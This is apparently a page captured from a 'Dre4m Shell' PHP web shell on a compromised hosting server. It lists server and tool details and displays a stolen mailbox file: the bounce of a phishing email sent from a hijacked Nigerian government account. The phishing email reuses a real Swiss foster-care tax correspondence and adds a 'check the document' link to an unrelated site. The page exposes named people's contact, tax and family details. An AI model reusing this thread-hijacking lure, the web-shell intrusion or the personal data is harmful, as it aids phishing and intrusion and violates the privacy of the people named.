Dre4m Was Here

Dre4m Shell
Server IP : 199.250.214.225 / Your IP : 18.226.181.96
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF
Directory : /home/nicngo5/mail/nicn.gov.ng/mnmajhatasi.e/cur/
Upload File :
[ HOME SHELL ]
Current File : /home/nicngo5/mail/nicn.gov.ng/mnmajhatasi.e/cur/1695643859.M964274P27752.vps64074.inmotionhosting.com,S=13990,W=14322:2,
Envelope-to: mnmajhatasi.e@nicn.gov.ng
Delivery-date: Mon, 25 Sep 2023 05:10:59 -0700
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@vps64074.inmotionhosting.com>
To: mnmajhatasi.e@nicn.gov.ng
References: <dce4a81e-f0fd-406c-85fc-34a06c3080cb@nicn.gov.ng>
Content-Type: multipart/report; report-type=delivery-status; boundary=1695643859-eximdsn-1049660499
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1qkkQV-0007Fe-2l@vps64074.inmotionhosting.com>
Date: Mon, 25 Sep 2023 05:10:59 -0700

--1695643859-eximdsn-1049660499
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  patrick.mathys@bs.ch
    host mail.swisscom.com [138.188.184.33]
    SMTP error from remote mail server after RCPT TO:<patrick.mathys@bs.ch>:
    550 5.1.1 User Unknown

--1695643859-eximdsn-1049660499
Content-type: message/delivery-status

Reporting-MTA: dns; vps64074.inmotionhosting.com

Action: failed
Final-Recipient: rfc822;patrick.mathys@bs.ch
Status: 5.0.0
Remote-MTA: dns; mail.swisscom.com
Diagnostic-Code: smtp; 550 5.1.1 User Unknown

--1695643859-eximdsn-1049660499
Content-type: message/rfc822

Return-path: <mnmajhatasi.e@nicn.gov.ng>
Received: from [103.242.45.232] (port=63010 helo=nicn.gov.ng)
	by vps64074.inmotionhosting.com with esmtpsa  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
	(Exim 4.96)
	(envelope-from <mnmajhatasi.e@nicn.gov.ng>)
	id 1qkkQR-0007FP-0e
	for patrick.mathys@bs.ch;
	Mon, 25 Sep 2023 05:10:56 -0700
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=utf-8
Message-ID: <dce4a81e-f0fd-406c-85fc-34a06c3080cb@nicn.gov.ng>
Date: Mon, 25 Sep 2023 14:10:54 +0200
MIME-Version: 1.0
Content-Language: de-DE
To: patrick.mathys@bs.ch
From: "Fluri Fabienne EBNAT-KAPPEL" <mnmajhatasi.e@nicn.gov.ng>
Subject: AW: Lohnausweis 2017 Grosche / Ranieri

<html><head><META http-equiv=3D"Content-Type" content=3D"text/html;charset=
=3Dutf-8">

</head><body><p>&Uuml;berpr&uuml;fen Sie das Dokument: https://egypt4transl=
ation.qa/mt/?23257511<br></p>
<div>
<p><span>Sehr geehrter Herr Grosche</span></p>

<p><span>Zum Pflegevertrag kann ich nicht wirklich etwas sagen, da dies ja =
nicht in meinen Zust=C3=A4ndigkeitsbereich f=C3=A4llt und ich mit der Mater=
ie zu wenig vertraut
 bin. Das m=C3=BCssten Sie ev. mit der KESB besprechen. </span></p>

<p><span>Wir haben mittlerweile mit zwei verschiedenen Personen vom Kantona=
len Steueramt und mit unserer Revisionsstelle gesprochen. Diese haben uns b=
est=C3=A4tigt
 dass wir gem=C3=A4ss St. Galler Steuergesetzt die Abrechnung richtig gemac=
ht haben.</span></p>
<p><span>Damit f=C3=BCr Sie im Kanton Basel keine Nachteile entstehen, habe=
n wir im Anhang nochmals einen Lohnausweis. Darauf m=C3=BCssten jetzt alle =
Relevanten Angaben
 f=C3=BCr die verschiedenen =C3=84mter stehen.</span></p>

<p><span>Bitte geben Sie mir kurz R=C3=BCcksprache ob das so jetzt ok ist. =
Dann werde ich Ihnen die Lohnausweise noch per Post zustellen.</span></p>


<p><span>Freundliche Gr=C3=BCsse</span></p>

<p><span>Fabienne Fluri</span></p>
<p><span>Finanzverwalterin-Stv.</span></p>
<p><span>______________________________________________________</span></p>
<p><b><span>Ebnat-Kappel</span></b></p>
<p><span>Politische Gemeinde</span></p>

<p><span>Hofstrasse 1</span></p>
<p><span>9642 Ebnat-Kappel</span></p>
<p><span>T 071 992 64 16, F 071 992 64 10</span></p>


<p><b><span>Der Ort. Die Anziehung. Die Ausstrahlung.</span></b></p>
<p><b><span>Ebnat-Kappel</span></b></p>






<div>
<div>
<p><b><span>Von:</span></b><span> Walter Grosche=20
<br>
<b>Gesendet:</b> Sonntag, 28. Januar 2018 23:32<br>
<b>An:</b> Fluri Fabienne EBNAT-KAPPEL <br>
<b>Betreff:</b> RE: Lohnausweis 2017 Grosche / Ranieri</span></p>
</div>
</div>

<div>
<p><span>Sehr geehrte Frau Fluri</span>
</p>
<p><span>Danke f=C3=BCr Ihre Abkl=C3=A4rungen und f=C3=BCr die beiden Lohna=
usweise.</span></p>
<p><span>Nun zu Ihrer Antwort:</span></p>
<p><span>Ihr Bezug betreffend Pflegevertrag.</span></p>
<p><span>Der Pflegevertrag bezieht sich unter Punkt 5 Pflegekosten auf die =
Pflegegeld Richtlinien St. Gallens. Inklusiv in den Pflegekosten sei eine N=
ebenkostenpauschale. Weitere Kosten werden nach R=C3=BCcksprache
 beschlossen.</span></p>
<p><span>Unter Punkt 5.1 Fixe Pflegekosten, wird sodann die Pflegekosten ni=
cht mehr nach den St. Gallischen Richtlinien aufgeteilt, sondern es erfolgt=
 eine 50 % Aufteilung (Unkostenersatz - Lohn). Hier
 ist der Pflegevertrag nicht konsequent, resp. es werden die vorgenannten R=
ichtlinien nicht weiter beachtet.</span></p>
<p><span>Uns ist nun nicht klar, was G=C3=BCltigkeit hat.</span></p>
<p><span>Bisher war die Meinung in Bubendorf BL, dass Ebnat-Kappel SG daf=
=C3=BCr verantwortlich ist. Daher auch die Bestimmung der Betragsh=C3=B6he =
CHF 1'773.91. Basel-Land macht im Pflegevertrag eine simple Aufteilung
 (ehrlich gesagt habe ich f=C3=BCr diese Aufteilung in Basel-Land keine Bes=
timmung / Weisung gefunden). Im Moment ist es ein Mix von Betrag (Ebnat-Kap=
pel SG) und unbestimmte Aufteilung (Bubendorf BL).</span></p>

<p><span>Sie beziehen sich im weiteren auf das SG-Steuerbuch.</span></p>
<p><span>Punkt 2. Besteuerung der Eink=C3=BCnfte aus Kinderbetreuung, hier =
wird unter Punkt 2.1 Erwerbseinkommen im 2. Teil des Abschnittes erw=C3=A4h=
nt:</span></p>
<p><span>&nbsp;&quot;Pflegeeltern, welche hingegen =C3=BCber eine Organisat=
ion (z.B. Pflegekinder-Aktion, Tageselternverein, Pro Juventute), eine Drit=
tperson oder durch die Gemeinde vermittelt und entlohnt werden, gelten
 als Unselbst=C3=A4ndigerwerbende. Kein Erwerbseinkommen bei Betreuung im e=
igenen Haushalt ist grunds=C3=A4tzlich das Entgelt f=C3=BCr die direkten Ki=
nderkosten, d.h. Kost und Logis, Anteil an Wohn- und Energiekosten, Bekleid=
ung etc.&quot;</span></p>
<p><span>Ich beziehe mich in meiner Anfrage genau auf diesen Abschnitt, da =
die Steuerverwaltung BS keinen Pauschal Abzug f=C3=BCr Pflegekinder aus ein=
em anderen Kanton im Steuerrecht kennt. Und hier ist das
 Problem unter den Steuerverwaltungen, keine Weisungen f=C3=BCr Pflegekinde=
r aus einem anderen Kanton nur f=C3=BCr Kinder aus dem gleichen Kanton. Auc=
h in SG Steuerbuch 2.3 bezieht man sich auf Kinder in SG und nicht f=C3=BCr=
 ausw=C3=A4rtige. Steuerverwaltung Basel-Land hat eine
 Weisung, welche dem SG-Steuerbuch nahe kommt.</span></p>

<p><span>Da wir in beiden Kantone BS &#43; BL steuerpflichtig sind, m=C3=BC=
ssen wir z. B. einen Lohnausweis f=C3=BCr alle Kantone in einer verst=C3=A4=
ndlichen Ausf=C3=BChrung haben.</span></p>
<p><span>Steuern Basel-Land: Die Formulierung im Pflegevertrag Anteil von 5=
0 % f=C3=BCr Unkostenersatz, wiederspricht der Weisung Steuerverwaltung Bas=
el-Land. Der tats=C3=A4chliche Pauschalbetrag von der Steuerverwaltung
 ist kleiner. </span></p>
<p><span>Das Steuergericht BL musste wegen solchen Verwechslungen schon t=
=C3=A4tig werden.</span></p>

<p><span>Die Steuerverwaltung Basel-Stadt hat mir folgendes geschrieben:</s=
pan></p>

<p><em><span>Sehr geehrter Herr Grosche</span></em></p>
<p><em><span>Zu Ihrer Anfrage betreffend Pflegekind.</span></em></p>
<p><em></em></p>
<p><em><span>F=C3=BCr ein Pflegekind kann, mangels elterlicher Sorge, kein =
Kinderabzug gew=C3=A4hrt werden.</span></em></p>
<p><em><span>Hingegen ist ein Unterst=C3=BCtzungsabzug unter folgenden Vora=
ussetzungen (kumulativ) m=C3=B6glich:</span></em></p>
<p><em><span>- es liegt ein vormundschaftlich bewilligtes Pflegeverh=C3=A4l=
tnis vor</span></em></p>
<p><em><span>- die Unterst=C3=BCtzungsbed=C3=BCrftigkeit des Kindes ist geg=
eben</span></em></p>
<p><em><span>- die Leistungen erreichen mindestens die H=C3=B6he des Unters=
t=C3=BCtzungsabzuges&nbsp;1)</span></em></p>
<p><em><span>1) In aller Regel erhalten die Pflegeeltern Entsch=C3=A4digung=
en bestehend aus einem Verdienst und</span></em></p>
<p><em><span>Spesenanteil, wodurch f=C3=BCr diese keine Auslagen mehr verbl=
eiben und somit kein Unterst=C3=BCtzungsabzug</span></em></p>
<p><em><span>gew=C3=A4hrt werden kann. Der Nachweis h=C3=B6herer effektiver=
 Spesen bleibt</span></em></p>
<p><em><span>vorbehalten.</span></em></p>
<p><em></em></p>
<p><em><span>Der Spesenanteil ist nicht steuerbar, der Verdienstanteil ist =
zu versteuern.</span></em></p>
<p><em></em></p>
<p><em><span>Freundliche Gr=C3=BCsse</span></em></p>
<p><em></em></p>
<p><em><span>Patrick Mathys</span></em></p>
<p><em></em></p>
<p><em><span>Steuerverwaltung&nbsp;Basel-Stadt</span></em><span><span><br>
<em><span>Patrick Mathys</span></em><br>
<em><span>Veranlagungsexperte Selbst=C3=A4ndigerwerbende</span></em><br>
<em><span>Abteilung Nat=C3=BCrliche Personen</span></em></span></span></p>
<p><em><span>Fischmarkt 10, CH-4001 Basel</span></em><span><span><br>
<em><span>Telefon 061 267 97 32</span></em><br>
<em><span>E-Mail&nbsp;</span></em><br>
<em></em></span></span></p>

<p><span>Nun ist der &quot;neue&quot; Lohnausweis missverst=C3=A4ndlich. La=
ut dem Lohnausweis hat jeder von uns einen Bruttolohn =C3=BCber CHF 13'249.=
00 erhalten. Die AHV Berechnung erfolgt auf dem ausgewiesenen Bruttolohn,
 die CHF 454.-- w=C3=BCrden demnach falsch sein. Was eigentlich nicht ist, =
da auf einen Bruchteil des Bruttoeinkommens die AHV verrechnet wurde. Diese=
 Information wissen wir, aber Dritte k=C3=B6nnen dies nicht beurteilen.</sp=
an></p>
<p><span>Der Nettolohn w=C3=A4re somit das steuerliche oder erzielte Einkom=
men.</span></p>
<p><span>Unter Bemerkungen Punkt 15 erscheint der Hinweis auf die Kinderkos=
ten. Hier m=C3=BCsste in den Bemerkungen den Hinweis auf Ihre Richtlinien S=
G stehen und im weiteren auch die Betr=C3=A4ge p.a., die von
 der Bruttoentsch=C3=A4digung in Abzug zu bringen sind. Da z. B. die &nbsp;=
AHV oder das Arbeitsamt sich =C3=BCberhaupt nichts darunter vorstellen kann=
, werden somit CHF 12'795.00 als Nettolohn resp. Einkommen genommen. Dies i=
st klar falsch, ausserdem haben wir mit einer pers=C3=B6nlichen
 Erl=C3=A4uterung oder Aufkl=C3=A4rung zu einem offiziellen von einer Beh=
=C3=B6rde erstelltem Papier keine Chance.</span></p>
<p><span>Der Sozialversicherungsabzug per 2017 ist korrekt, die Richtlinien=
 beruhen auf einem Stand vom 2010. Sorry, ich habe die Jahreszahl in den vi=
elen Papiere nicht bemerkt. &nbsp;</span></p>
<p><span>Das EMail wurde wieder sehr lang und ist vollgestopft mit Informat=
ionen, tut mir leid.</span></p>
<p><span>Gerne stehe ich Ihnen auch telefonisch zur Verf=C3=BCgung. Ich neh=
me an, dass die komplexe Materie immer noch Nachfragen und Aktenstudie brau=
cht, die Kommunikation mittels EMail ist gar nicht so schlecht.</span></p>

<p><span>Vielen Dank f=C3=BCr Ihr Verst=C3=A4ndnis und viele Gr=C3=BCsse</s=
pan></p>
<p><span>Walter Grosche und Lisbeth Ranieri</span></p>


</div>
<div>
<p><br>
<br>
<br>
Am 26 Jan 2018 16:54:22 &#43;0100 (CET) Von Fluri Fabienne EBNAT-KAPPEL :</=
p>
</div>
<div>
<div>
<p><span>Sehr geehrter Herr Grosche</span></p>

<p><span>Wir haben Ihre Fragen bez=C3=BCglich des Lohnausweises 2017 mit un=
serer externen Revisionsstelle und dem Kantonalen Steueramt besprochen.</sp=
an></p>

<p><span>Wir haben Ihnen und Frau Ranieri zwei separate Lohnausweise ausges=
tellt. (siehe Anhang) Wir werden Ihnen diese noch per Post zustellen.
</span></p>

<p><span>Zu den Punkten Bruttolohn und Sozialabz=C3=BCge:
</span></p>

<p><span>Gem=C3=A4ss St. Galler Steuerbuch Stb. 29 Nr. 10, Abs. 2.3 (siehe =
Anhang) ist bei pauschaler Abrechnung grunds=C3=A4tzlich das ganze Pflegege=
ld steuerbar. Daf=C3=BCr k=C3=B6nnen bei Dauerpflege
 pro Kind und Monat Fr. 800.=E2=80=94abgezogen werden und Sie haben Anspruc=
h auf den pauschalen Berufskostenabzug. (Art. 2.5).
</span></p>
<p><span>Deshalb ist das ganze Pflegegeld als Bruttolohn deklariert.</span>=
</p>
<p><span>Wie die Abz=C3=BCge in Ihrem Kanton geregelt sind, m=C3=BCssten Si=
e bei Ihrem Steueramt nachfragen.</span></p>

<p><span>Die Sozialversicherungsabz=C3=BCge f=C3=BCr AHV / ALV / NBU entspr=
echen den gesetzlichen Abz=C3=BCgen f=C3=BCr 2017. Die Abz=C3=BCge welche i=
n den Pflegegeld-Richtlinien aufgef=C3=BChrt sind, sind Stand 2010.
</span></p>

<p><span>Der Betrag von 886.95 ist die H=C3=A4lfte der fixen Pflegekosten, =
Fr. 1'773.91 gem=C3=A4ss Pflegevertrag vom 24.08.2017 (R=C3=BCckwirkend ab =
12.02.2017). Von diesem Betrag sind 50% AHV-pflichtiger
 Lohn.</span></p>

<p><span>In Ihrer heutigen E-Mail erw=C3=A4hnen Sie, dass die Aufteilung zu=
 je 50% unseren Richtlinien wiederspricht. K=C3=B6nnen Sie uns das bitte no=
ch erkl=C3=A4ren was Sie damit genau meinen. In
 Ihrer ersten E-Mail haben Sie die Aufteilung des Pflegegeldes auf Sie und =
Frau Ranieri gem=C3=A4ss Betreuungsvertrag verlangt.
</span></p>


<p><span>Freundliche Gr=C3=BCsse</span></p>

<p><span>Fabienne Fluri</span></p>
<p><span>Finanzverwalterin-Stv.</span></p>
<p><span>______________________________________________________</span></p>
<p><strong><span>Ebnat-Kappel</span></strong></p>
<p><span>Politische Gemeinde</span></p>

<p><span>Hofstrasse 1</span></p>
<p><span>9642 Ebnat-Kappel</span></p>
<p><span>T 071 992 64 16, F 071 992 64 10</span></p>


<p><strong><span>Der Ort. Die Anziehung. Die Ausstrahlung.</span></strong><=
/p>
<p><strong><span>Ebnat-Kappel</span></strong></p>


</div>
</div>
</div>
</body>
</html>


--1695643859-eximdsn-1049660499--
Anon7 - 2022
AnonSec Team